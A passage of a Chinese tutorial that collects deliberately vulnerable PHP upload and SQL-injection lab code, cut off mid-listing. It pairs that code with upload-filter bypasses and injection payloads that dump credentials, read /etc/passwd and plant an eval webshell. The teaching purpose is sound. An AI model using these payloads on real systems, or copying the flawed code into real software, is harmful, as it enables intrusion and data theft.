非常全面!PHP常见漏洞代码总结!

后端开发   发布日期:2023年06月06日   浏览次数:697

本篇文章给大家带来了关于PHP漏洞的相关知识,其中主要给大家总结介绍PHP的常见漏洞代码都有哪些,非常全面详细,下面一起来看一下,希望对需要的朋友有所帮助。

漏洞总结

PHP 文件上传漏洞

只验证MIME类型: 代码中验证了上传的MIME类型,绕过方式使用Burp抓包,将上传的一句话小马*.php中的Content-Type:application/php,修改成Content-Type: image/png然后上传.

  1. <?php
  2. header("Content-type: text/html;charset=utf-8");
  3. define("UPLOAD_PATH", "./");
  4. if(isset($_POST['submit']))
  5. {
  6. if(file_exists(UPLOAD_PATH))
  7. {
  8. // 判断 content-type 的类型,如果是image/png则通过
  9. if($_FILES['upload_file']['type'] == 'image/png')
  10. {
  11. $temp_file = $_FILES['upload_file']['tmp_name'];
  12. $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
  13. if (move_uploaded_file($temp_file, $img_path))
  14. echo "上传完成.";
  15. else
  16. echo "上传出错.";
  17. }
  18. }
  19. }
  20. ?>
  21. <body>
  22. <form enctype="multipart/form-data" method="post">
  23. <input type="file" name="upload_file">
  24. <input type="submit" name="submit" value="上传">
  25. </form>
  26. </body>

白名单的绕过: 白名单就是允许上传某种类型的文件,该方式比较安全,抓包上传php后门,然后将文件名改为.jpg即可上传成功,但是有时候上传后的文件会失效无法拿到Shell.

  1. <?php
  2. header("Content-type: text/html;charset=utf-8");
  3. define("UPLOAD_PATH", "./");
  4. if(isset($_POST['submit']))
  5. {
  6. if(file_exists(UPLOAD_PATH))
  7. {
  8. $allow_ext = array(".jpg",".png",".jpeg");
  9. $file_name = trim($_FILES['upload_file']['name']); // 取出文件名
  10. $file_ext = strrchr($file_name, '.');
  11. $file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
  12. $file_ext = strtolower($file_ext); // 转换为小写
  13. $file_ext = trim($file_ext); // 首尾去空
  14. if(in_array($file_ext, $allow_ext))
  15. {
  16. $temp_file = $_FILES['upload_file']['tmp_name'];
  17. $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
  18. if (move_uploaded_file($temp_file,$img_path))
  19. echo "上传完成: {$img_path} <br>";
  20. else
  21. echo "上传失败 <br>";
  22. }
  23. }
  24. }
  25. ?>
  26. <body>
  27. <form enctype="multipart/form-data" method="post">
  28. <input type="file" name="upload_file">
  29. <input type="submit" name="submit" value="上传">
  30. </form>
  31. </body>

白名单验证文件头: 本关主要是允许jpg/png/gif这三种文件的传输,且代码中检测了文件头的2字节内容,我们只需要将文件的头两个字节修改为图片的格式就可以绕过.

通常JPEG/JPG: FF D8 | PNG:89 50 | GIF:47 49 以JPEG为例,我们在一句话木马的开头添加两个11也就是二进制的3131,然后将.php修改为.jpg,使用Brup抓包发送到Repeater模块,将HEX编码3131改为FFD8点Send后成功上传JPG.

  1. <?php
  2. header("Content-type: text/html;charset=utf-8");
  3. define("UPLOAD_PATH", "./");
  4. function getReailFileType($filename)
  5. {
  6. $file = fopen($filename, "rb");
  7. $bin = fread($file, 2);
  8. fclose($file);
  9. $strInfo = @unpack("C2chars", $bin);
  10. $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
  11. $fileType = '';
  12. switch($typeCode)
  13. {
  14. case 255216: $fileType = 'jpg'; break;
  15. case 13780: $fileType = 'png'; break;
  16. case 7173: $fileType = 'gif'; break;
  17. default: $fileType = 'unknown';
  18. }
  19. return $fileType;
  20. }
  21. if(isset($_POST['submit']))
  22. {
  23. if(file_exists(UPLOAD_PATH))
  24. {
  25. $temp_file = $_FILES['upload_file']['tmp_name'];
  26. $file_type = getReailFileType($temp_file);
  27. if($file_type == 'unknown')
  28. {
  29. echo "上传失败 <br>";
  30. }else
  31. {
  32. $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
  33. if(move_uploaded_file($temp_file,$img_path))
  34. echo "上传完成 <br>";
  35. }
  36. }
  37. }
  38. ?>
  39. <body>
  40. <form enctype="multipart/form-data" method="post">
  41. <input type="file" name="upload_file">
  42. <input type="submit" name="submit" value="上传">
  43. </form>
  44. </body>

绕过检测文件头: 这种方式是通过文件头部起始位置进行匹配的从而判断是否上传,我们可以通过在上传文件前面追加合法的文件头进行绕过,例如在文件开头部位加上GIF89a<?php phpinfo();?>即可完成绕过,或者如果是\xffxd8\xff我们需要在文件开头先写上%ff%d8%ff<?php phpinfo(); ?>然后,选择特殊字符,右击CONVERT->URL->URL-Decode编码后释放.

  1. <?php
  2. header("Content-type: text/html;charset=utf-8");
  3. define("UPLOAD_PATH", "./");
  4. function getReailFileType($filename)
  5. {
  6. $fh = fopen($filename, "rb");
  7. if($fh)
  8. {
  9. $bytes = fread($fh,6);
  10. fclose($fh);
  11. if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){
  12. return "image/jpeg";
  13. }
  14. if($bytes == "\x89PNG\x0d\x0a"){
  15. return "image/png";
  16. }
  17. if($bytes == "GIF87a" or $bytes == "GIF89a"){
  18. return "image/gif";
  19. }
  20. }
  21. return 'unknown';
  22. }
  23. if(isset($_POST['submit']))
  24. {
  25. if(file_exists(UPLOAD_PATH))
  26. {
  27. $temp_file = $_FILES['upload_file']['tmp_name'];
  28. $file_type = getReailFileType($temp_file);
  29. echo "状态: {$file_type} ";
  30. if($file_type == 'unknown')
  31. {
  32. echo "上传失败 <br>";
  33. }else
  34. {
  35. $file_name = $_FILES['upload_file']['name'];
  36. $img_path = UPLOAD_PATH . "/" . $file_name;
  37. if(move_uploaded_file($temp_file,$img_path))
  38. echo "上传 {$img_path} 完成 <br>";
  39. }
  40. }
  41. }
  42. ?>
  43. <body>
  44. <form enctype="multipart/form-data" method="post">
  45. <input type="file" name="upload_file">
  46. <input type="submit" name="submit" value="上传">
  47. </form>
  48. </body>

图像检测绕过: 通过使用图像函数,检测文件是否为图像,如需上传则需要保持图像的完整性,所以无法通过追加文件头的方式绕过,需要制作图片木马上传.

针对这种上传方式的绕过我们可以将图片与FIG文件合并在一起copy /b pic.gif+shell.php 1.php上传即可绕过.

  1. <?php
  2. header("Content-type: text/html;charset=utf-8");
  3. define("UPLOAD_PATH", "./");
  4. function getReailFileType($filename)
  5. {
  6. // 检查是否为图像
  7. if(@getimagesize($filename))
  8. {
  9. if(@imagecreatefromgif($filename)){
  10. return "image/gif";
  11. }
  12. if(@imagecreatefrompng($filename)){
  13. return "image/png";
  14. }
  15. if(@imagecreatefromjpeg($filename)){
  16. return "image/jpeg";
  17. }
  18. }
  19. return 'unknown';
  20. }
  21. if(isset($_POST['submit']))
  22. {
  23. if(file_exists(UPLOAD_PATH))
  24. {
  25. $temp_file = $_FILES['upload_file']['tmp_name'];
  26. $file_type = getReailFileType($temp_file);
  27. echo "状态: {$file_type} ";
  28. if($file_type == 'unknown')
  29. {
  30. echo "上传失败 <br>";
  31. }else
  32. {
  33. $file_name = $_FILES['upload_file']['name'];
  34. $img_path = UPLOAD_PATH . "/" . $file_name;
  35. if(move_uploaded_file($temp_file,$img_path))
  36. echo "上传 {$img_path} 完成 <br>";
  37. }
  38. }
  39. }
  40. ?>
  41. <body>
  42. <form enctype="multipart/form-data" method="post">
  43. <input type="file" name="upload_file">
  44. <input type="submit" name="submit" value="上传">
  45. </form>
  46. </body>

上传条件竞争: 这里是条件竞争,先将文件上传到服务器,然后判断文件后缀是否在白名单里,如果在则重命名,否则删除,因此我们可以上传1.php只需要在它删除之前访问即可,可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可

  1. <?php
  2. header("Content-type: text/html;charset=utf-8");
  3. define("UPLOAD_PATH", "./");
  4. if(isset($_POST['submit']))
  5. {
  6. $ext_arr = array('jpg','png','gif');
  7. $file_name = $_FILES['upload_file']['name'];
  8. $temp_file = $_FILES['upload_file']['tmp_name'];
  9. $file_ext = substr($file_name,strrpos($file_name,".")+1);
  10. $upload_file = UPLOAD_PATH . '/' . $file_name;
  11. if(move_uploaded_file($temp_file, $upload_file))
  12. {
  13. if(in_array($file_ext, $ext_arr))
  14. {
  15. $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
  16. rename($upload_file, $img_path);
  17. echo "上传完成. <br>";
  18. }else
  19. {
  20. unlink($upload_file);
  21. echo "上传失败. <br>";
  22. }
  23. }
  24. }
  25. ?>
  26. <body>
  27. <form enctype="multipart/form-data" method="post">
  28. <input type="file" name="upload_file">
  29. <input type="submit" name="submit" value="上传">
  30. </form>
  31. </body>

PHP 注入漏洞

基本查询语句

搭建SQL注入演练环境,首先确保MySQL版本为MySQL 5.7以上,并导入下方的数据库脚本自动创建相应的数据库文件.

  1. drop database if exists lyshark;
  2. create database lyshark;
  3. use lyshark;
  4. drop table if exists local_user;
  5. create table local_user(
  6. id int(10) primary key not null,
  7. username varchar(100) not null,
  8. password varchar(100) not null,
  9. usremail varchar(100) not null,
  10. usertype int(1) default 0
  11. );
  12. alert table local_user character set utf8;
  13. insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com"),
  14. (2,"lyshark",md5("adsdfw2345"),"lyshark@163.com"),(3,"guest",md5("12345678"),"guest@126.com"),
  15. (4,"Dumb",md5("458322456"),"Dumb@blib.com"),(5,"Angelina",md5("GIs92834"),"angelina@mkic.com"),
  16. (6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com"),(7,"batman",md5("suw&*("),"batmain@gmail.com"),
  17. (8,"dhakkan",md5("swui16834"),"dhakakan@umail.com"),(9,"nacki",md5("fsie92*("),"cbooks@emial.com"),
  18. (10,"wuhaxp",md5("sadwq"),"cookiec@345.com"),(11,"cpiwu",md5("sadwq"),"myaccce@345.com");

接着安装好PHP7.0或以上版本的环境,并创建index.php文件,写入以下测试代码,数据库密码请自行修改.

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf8">
  5. <title>SQL 注入测试代码</title>
  6. </head>
  7. <?php
  8. header("Content-type: text/html;charset=utf8");
  9. $connect = mysqli_connect("localhost","root","12345678","lyshark");
  10. if($connect)
  11. {
  12. $id = $_GET['id'];
  13. if(isset($id))
  14. {
  15. $sql = "select * from local_user where id='$id' limit 0,1";
  16. $query = mysqli_query($connect,$sql);
  17. if($query)
  18. $row = mysqli_fetch_array($query);
  19. }
  20. }
  21. ?>
  22. <body>
  23. <table border="1">
  24. <tr>
  25. <th>序号</th><th>用户账号</th><th>用户密码</th><th>用户邮箱</th><th>权限</th>
  26. </tr>
  27. <tr>
  28. <td><?php echo $row['id']; ?></td>
  29. <td><?php echo $row['username']; ?></td>
  30. <td><?php echo $row['password']; ?></td>
  31. <td><?php echo $row['usremail']; ?></td>
  32. <td><?php echo $row['usertype']; ?></td>
  33. </tr>
  34. </table><br>
  35. <?php echo '<hr><b> 后端执行SQL语句: </b>' . $sql; ?>
  36. </body>
  37. </html>

Union 查询字段个数: Union可以用于一个或多个SELECT的结果集,但是他有一个条件,就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,也就是说当我们union select的列与它查询的列相同时,页面返回正常.

首先我们猜测,当前字段数为4的时候页面无返回,也就说明表字段数必然是大于4的,接着增加一个字段,查询1,2,3,4,5时页面显示正常,说明表结构是5个字段的.

  1. index.php?id=1' and 1=0 union select 1,2,3,4 --+
  2. index.php?id=1' and 1=0 union select 1,2,3,4,5 --+
  3. index.php?id=1' and 1=0 union select null,null,null,null,null --+

Order By查询字段个数: 在SQL语句中是对结果集的指定列进行排序,比如我们想让结果集按照第一列排序就是order by 1按照第二列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进行排序数据库会返回正常,但是当我们按照第100列排序,因为数据库中并不存在第100列,从而报错或无法正常显示.

首先我们猜测数据库有6个字段,尝试根据第6行进行排序发现数据无法显示,说明是小于6的,我们继续使用5测试,此时返回了结果.

  1. index.php?id=1' and 1 order by 6 --+
  2. index.php?id=1' and 1 order by 5 --+

大部分程序只会调用数据库查询的第一条语句进行查询然后返回,如果想看到的数据是在第二条语句中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,第二种是通过sql语句直接返回我们想要的数据.

第一种我们让第一个查询的结果始终为假,通过使用and 0来实现,或者通过limit语句,limit在mysql中是用来分页的,通过他可以从查询出来的数据中获取我们想要的数据.

  1. index.php?id=1' and 0 union select null,null,null,null,null --+
  2. index.php?id=1' and 0 union select null,version(),null,null,null --+
  3. index.php?id=1' union select null,null,null,null,null limit 1,1 --+
  4. index.php?id=1' union select null,version(),null,null,null limit 1,1 --+

查全部数据库名称: MySQL默认将所有表数据放入information_schema.schemata这个表中进行存储,我们可以查询这个表中的数据从而找出当前系统中所有的数据库名称,通过控制limit中的参数即可爆出所有数据库.

  1. index.php?id=1' and 0 union select 1,1,database(),1,1 --+
  2. index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+
  3. index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+
  4. index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+

查询表中名称: 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.

  1. # 通过 limit 限定条件每次只输出一个表名称
  2. index.php?id=1' and 0 union select 1,2,3,4,table_name
  3. from information_schema.tables where table_schema='lyshark' limit 0,1 --+
  4. index.php?id=1' and 0 union select 1,2,3,4,table_name
  5. from information_schema.tables where table_schema='lyshark' limit 1,1 --+
  6. # 通过 concat 函数一次性输出所有表
  7. index.php?id=1' and 0 union select 1,2,3,4,group_concat(table_name)
  8. from information_schema.tables where table_schema='lyshark' --+

查询表中字段: 通过使用table_schema和table_name指定查询条件,即可查询到表中字段与数据.

  1. # 查询出lyshark数据库local_user表中的,所有字段
  2. index.php?id=1' and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns
  3. > where table_schema='lyshark' and table_name='local_user' --+
  4. # 每次读取出一个表中字段,使用limit进行遍历
  5. index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns
  6. > where table_schema='lyshark' and table_name='local_user' limit 0,1 --+
  7. index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns
  8. > where table_schema='lyshark' and table_name='local_user' limit 1,1 --+

查询表中数据: 通过上面的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进行读取表中数据.

  1. index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+
  2. index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+
  3. index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+

常用的查询语句: 除此以外,我们还可以使用以下常用判断条件的配合实现对数据库其他权限的进一步注入.

  1. # -----------------------------------------------------------------------------------
  2. # 判断注入点: 注入点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.
  3. index.php?id=1' and 1=1 --+ # 提交and判断注入
  4. index.php?id=1' and 1=0 --+
  5. index.php?id=1%2b1 # 提交加号判断注入
  6. index.php?id=2-1 # 提交减号判断注入
  7. index.php?id=1 and sleep(5) # 延时判断诸如点
  8. # -----------------------------------------------------------------------------------
  9. # 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.
  10. index.php?id=1' and ord(mid(user(),1,1)) = 114 --+
  11. # -----------------------------------------------------------------------------------
  12. # 判断权限大小: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.
  13. index.php?id=1' and(select count(*) from mysql.user) > 0
  14. # -----------------------------------------------------------------------------------
  15. # 查询管理密码: 查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释.
  16. index.php?id=1' and 0 union select 1,host,user,password,5 from mysql.user --+ // 5.6以前版本
  17. index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from mysql.user --+ // 5.7以后版本
  18. # -----------------------------------------------------------------------------------
  19. # 向主站写入一句话: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限.
  20. index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+
  21. index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+
  22. index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+
  23. index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+
  24. # -----------------------------------------------------------------------------------
  25. # 利用MySQL引擎写一句话: 通过使用MySQL的存储引擎,以MySQL身份写入一句话
  26. create table shell(cmd text);
  27. insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');
  28. select cmd from shell into outfile('/var/www/html/eval.php');
  29. # -----------------------------------------------------------------------------------
  30. # 常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作.
  31. index.php?id=1' union select 1,1,load_file("/etc/passwd") // 加载指定文件
  32. index.php?id=1' union select 1,1,@@datadir // 判断数据库目录
  33. index.php?id=1' union select 1,1,@@basedir // 判断安装根路径
  34. index.php?id=1' union select 1,1,@@hostname // 判断主机名
  35. index.php?id=1' union select 1,1,@@version // 判断数据库版本
  36. index.php?id=1' union select 1,1,@@version_compile_os // 判断系统类型(Linux)
  37. index.php?id=1' union select 1,1,@@version_compile_machine // 判断系统体系(x86)
  38. index.php?id=1' union select 1,1,user() // 曝出系统用户
  39. index.php?id=1' union select 1,1,database() // 曝出当前数据库

GET 注入

简单的注入测试: 本关中没有对代码进行任何的过滤.

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf8">
  5. <title>SQL 注入测试代码</title>
  6. </head>
  7. <body>
  8. <?php
  9. function getCurrentUrl()
  10. {
  11. $scheme = $_SERVER['REQUEST_SCHEME']; // 协议
  12. $domain = $_SERVER['HTTP_HOST']; // 域名
  13. $requestUri = $_SERVER['REQUEST_URI']; // 请求参数
  14. $currentUrl = $scheme . "://" . $domain . $requestUri;
  15. return urldecode($currentUrl);
  16. }
  17. ?>
  18. <?php
  19. header("Content-type: text/html;charset=utf8");
  20. $connect = mysqli_connect("localhost","root","12345678","lyshark");
  21. if($connect)
  22. {
  23. $id = $_GET['id'];
  24. if(isset($id))
  25. {
  26. $sql = "select username,password from local_user where id='$id' limit 0,1";
  27. $query = mysqli_query($connect,$sql);
  28. if($query)
  29. {
  30. $row = mysqli_fetch_array($query);
  31. if($row)
  32. {
  33. echo "<font size='5'>";
  34. echo "账号: {$row['username']} <br>";
  35. echo "密码: {$row['password']} <br>";
  36. echo "</font>";
  37. echo "后端执行语句: {$sql} <br>";
  38. $URL = getCurrentUrl();
  39. echo "后端URL参数: {$URL} <br>";
  40. }
  41. else
  42. {
  43. echo "后端执行语句: {$sql} <br>";
  44. print_r(mysql_error());
  45. }
  46. }
  47. }
  48. }
  49. ?>
  50. </body>
  51. </html>

SQL语句没有经过任何过滤,或者是过滤不严格,会导致注入的发生.

  1. ---------------------------------------------------------------------------------
  2. $sql = "select username,password from local_user where id=$id limit 0,1";
  3. http://127.0.0.1/index.php?id=-1 union select 1,version() --+
  4. $sql = "select username,password from local_user where id=($id) limit 0,1";
  5. http://127.0.0.1/index.php?id=-1) union select 1,version() --+
  6. http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+
  7. ---------------------------------------------------------------------------------
  8. $sql = "select username,password from local_user where id='$id' limit 0,1";
  9. http://127.0.0.1/index.php?id=-1 union select 1,version() --+
  10. $sql = "select username,password from local_user where id=('$id') limit 0,1";
  11. http://127.0.0.1/index.php?id=-1') union select 1,version() --+
  12. http://127.0.0.1/index.php?id=1') and '1'=('0') union select 1,version() --+
  13. $sql = "select username,password from local_user where id=(('$id')) limit 0,1";
  14. http://127.0.0.1/index.php?id=-1')) union select 1,version() --+
  15. ---------------------------------------------------------------------------------
  16. $id = '"' . $id . "'";
  17. $sql = "select username,password from local_user where id=($id) limit 0,1";
  18. http://127.0.0.1/index.php?id=-1") union select 1,version() --+
  19. http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+

POST 输入框注入:

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf8">
  5. </head>
  6. <body>
  7. <form action="" method="post">
  8. 账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>
  9. 密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
  10. <input type="submit" name="submit" value="提交表单" />
  11. </form>
  12. <?php
  13. header("Content-type: text/html;charset=utf8");
  14. $connect = mysqli_connect("localhost","root","12345678","lyshark");
  15. if($connect)
  16. {
  17. $uname=$_POST['uname'];
  18. $passwd=$_POST['passwd'];
  19. $passwd = md5($passwd);
  20. if(isset($_POST['uname']) && isset($_POST['passwd']))
  21. {
  22. $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  23. $query = mysqli_query($connect,$sql);
  24. if($query)
  25. {
  26. $row = mysqli_fetch_array($query);
  27. if($row)
  28. {
  29. echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>";
  30. echo "后端执行语句: {$sql} <br>";
  31. }
  32. else
  33. {
  34. echo "<br>后端执行语句: {$sql} <br>";
  35. }
  36. }
  37. }
  38. }
  39. ?>
  40. </body>
  41. </html>

简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.

  1. # ---------------------------------------------------------------------------------------------------------
  2. # SQL语句
  3. $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  4. # ---------------------------------------------------------------------------------------------------------
  5. # 爆出字段数
  6. admin' order by 1 #
  7. admin' order by 2 --
  8. admin' and 1 union select 1,2,3 #
  9. admin' and 1 union select 1,2 #
  10. # 爆出数据库
  11. admin ' and 0 union select null,database() #
  12. admin' and 0 union select 1,version() #
  13. # 爆出所有表名称(需要注意数据库编码格式)
  14. set character_set_database=utf8;
  15. set collation_database= utf8_general_ci
  16. alter table local_user convert to character set utf8;
  17. ' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 #
  18. ' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 #
  19. # 爆出表中字段
  20. ' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,1 #
  21. ' union select null,column_name from information_schema.columns where table_name='local_user' limit 1,1 #
  22. # 继续爆出所有的用户名密码
  23. ' union select null,group_concat(username,0x3a,password) from local_user #
  24. # ---------------------------------------------------------------------------------------------------------
  25. # 双注入-字符型
  26. # 此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可
  27. $uname = '"' . $uname . '"';
  28. $passwd = '"' . $passwd . '"';
  29. $sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";
  30. #payload
  31. admin") order by 2 #
  32. admin") and 0 union select 1,version() #
  33. admin") and 0 union select 1,database() #
  34. # ---------------------------------------------------------------------------------------------------------
  35. # POST型的-双注入
  36. #
  37. $uname = '"' . $uname . '"';
  38. $passwd = '"' . $passwd . '"';
  39. $sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";
  40. admin" and 0 union select 1,version() #

Usage-Agent 注入: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带入数据库的相关操作,则可能会产生SQL注入问题.

  1. 建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));
  2. <!DOCTYPE html>
  3. <html>
  4. <head>
  5. <meta charset="utf8">
  6. <title>SQL 注入测试代码</title>
  7. </head>
  8. <body>
  9. <form action="" method="post">
  10. 账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>
  11. 密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
  12. <input type="submit" name="submit" value="Submit" />
  13. </form>
  14. <?php
  15. header("Content-type: text/html;charset=utf8");
  16. error_reporting(0);
  17. $connect = mysqli_connect("localhost","root","12345678","lyshark");
  18. if($connect)
  19. {
  20. if(isset($_POST['uname']) && isset($_POST['passwd']))
  21. {
  22. $uname=$_POST['uname'];
  23. $passwd=$_POST['passwd'];
  24. $passwd = md5($passwd);
  25. $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  26. $query = mysqli_query($connect,$sql);
  27. if($query)
  28. {
  29. $row = mysqli_fetch_array($query);
  30. if($row)
  31. {
  32. // 获取到用户的Agent客户请求体
  33. $Uagent = $_SERVER['HTTP_USER_AGENT'];
  34. // REMOTE_ADDR 是调用的底层的会话ip地址,理论上是不可以伪造的
  35. $IP = $_SERVER['REMOTE_ADDR'];
  36. echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>";
  37. echo "您的IP地址是: {$IP} <br>";
  38. $insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values('$uname','$IP','$Uagent')";
  39. mysqli_query($connect,$insert_sql);
  40. echo "User_Agent请求头: {$Uagent} <br>";
  41. }
  42. }
  43. }
  44. }
  45. ?>
  46. </body>
  47. </html>

首先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带入数据库查询.

  1. POST /post.php HTTP/1.1
  2. Host: 192.168.1.2
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. uname=admin&passwd=123123&submit=Submit

修改agent验证,可被绕过,此处的语句带入数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地方即使存在注入也无法得到结果,但却是一个安全隐患,需要引起重视.

  1. User-Agent: 1',1,1)#
  2. uname=admin&passwd=123123&submit=Submit
  3. User-Agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#
  4. uname=admin&passwd=123123&submit=Submit

Cookie 注入: 该注入的产生原因是因为程序员没有将COOKIE进行合法化检测,并将其代入到了数据库中查询了且查询变量是可控的,当用户登录成功后会产生COOKIE,每次页面刷新后端都会拿着这个COOKIE带入数据库查找,这是非常危险的.

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf8">
  5. </head>
  6. <body>
  7. <form action="" method="post">
  8. 账号: <input type="text" name="uname" value=""/><br>
  9. 密码: <input type="password" name="passwd" value=""/>
  10. <input type="submit" name="submit" value="Submit" />
  11. </form>
  12. <?php
  13. header("Content-type: text/html;charset=utf8");
  14. error_reporting(0);
  15. $connect = mysqli_connect("localhost","root","12345678","lyshark");
  16. if($connect)
  17. {
  18. $cookee = $_COOKIE['uname'];
  19. if($cookee)
  20. {
  21. $sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1";
  22. $query = mysqli_query($connect,$sql);
  23. echo "执行SQL: " . $sql . "<br>";
  24. if($query)
  25. {
  26. $row = mysqli_fetch_array($query);
  27. if($row)
  28. {
  29. echo "<br> COOKIE 已登录 <br>";
  30. echo "您的账号: " . $row['username'] . "<br>";
  31. echo "您的密码: " . $row['password'] . "<br>";
  32. }
  33. }
  34. }
  35. if(isset($_POST['uname']) && isset($_POST['passwd']))
  36. {
  37. $uname=$_POST['uname'];
  38. $passwd=$_POST['passwd'];
  39. $passwd = md5($passwd);
  40. $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  41. $query = mysqli_query($connect,$sql);
  42. if($query)
  43. {
  44. $row = mysqli_fetch_array($query);
  45. $cookee = $row['username'];
  46. if($row)
  47. {
  48. setcookie('uname', $cookee, time() + 3600);
  49. $format = 'D d M Y - H:i:s';
  50. $timestamp = time() + 3600;
  51. echo "COOKIE已设置: " . date($format, $timestamp);
  52. }
  53. }
  54. }
  55. }
  56. ?>
  57. </body>
  58. </html>

以下是注入Payload语句,当登陆成功后,抓包然后刷新页面,然后构造恶意的登录COOKIE,即可实现利用.

  1. Cookie: uname=admin' and 0 union select database(),2--+
  2. Cookie: uname=admin' and 0 union select version(),2--+

update-xml注入:

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf8">
  5. <title>SQL 注入测试代码</title>
  6. </head>
  7. <body>
  8. <form action="" method="post">
  9. 账号: <input style="width:1000px;height:20px;" type="text" name="uname" value=""/><br>
  10. 密码: <input style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
  11. <input type="submit" name="submit" value="提交表单" />
  12. </form>
  13. <?php
  14. error_reporting(0);
  15. header("Content-type: text/html;charset=utf8");
  16. function Check($value)
  17. {
  18. if(!empty($value))
  19. { // 如果结果不为空,则取出其前十五个字符 18
  20. $value = substr($value,0,15);
  21. }
  22. // 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
  23. // 当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
  24. if(get_magic_quotes_gpc())
  25. {
  26. // 删除由 addslashes() 函数添加的反斜杠
  27. $value = stripslashes($value);
  28. }
  29. if(!ctype_digit($value))
  30. {
  31. // ctype_digit()判断是不是数字,是数字就返回true,否则返回false
  32. // mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
  33. $value = "'" . mysql_real_escape_string($value) . ".";
  34. }
  35. else
  36. $value = intval($value);
  37. return $value;
  38. }
  39. $connect = mysqli_connect("localhost","root","12345678","lyshark");
  40. if($connect)
  41. {
  42. if(isset($_POST['uname']) && isset($_POST['passwd']))
  43. {
  44. $uname=Check($_POST['uname']);
  45. $passwd=$_POST['passwd'];
  46. $passwd = md5($passwd);
  47. $sql="select username,password FROM local_user WHERE username=$uname LIMIT 0,1";
  48. $query = mysqli_query($connect,$sql);
  49. if($query)
  50. {
  51. $row = mysqli_fetch_array($query);
  52. if($row)
  53. {
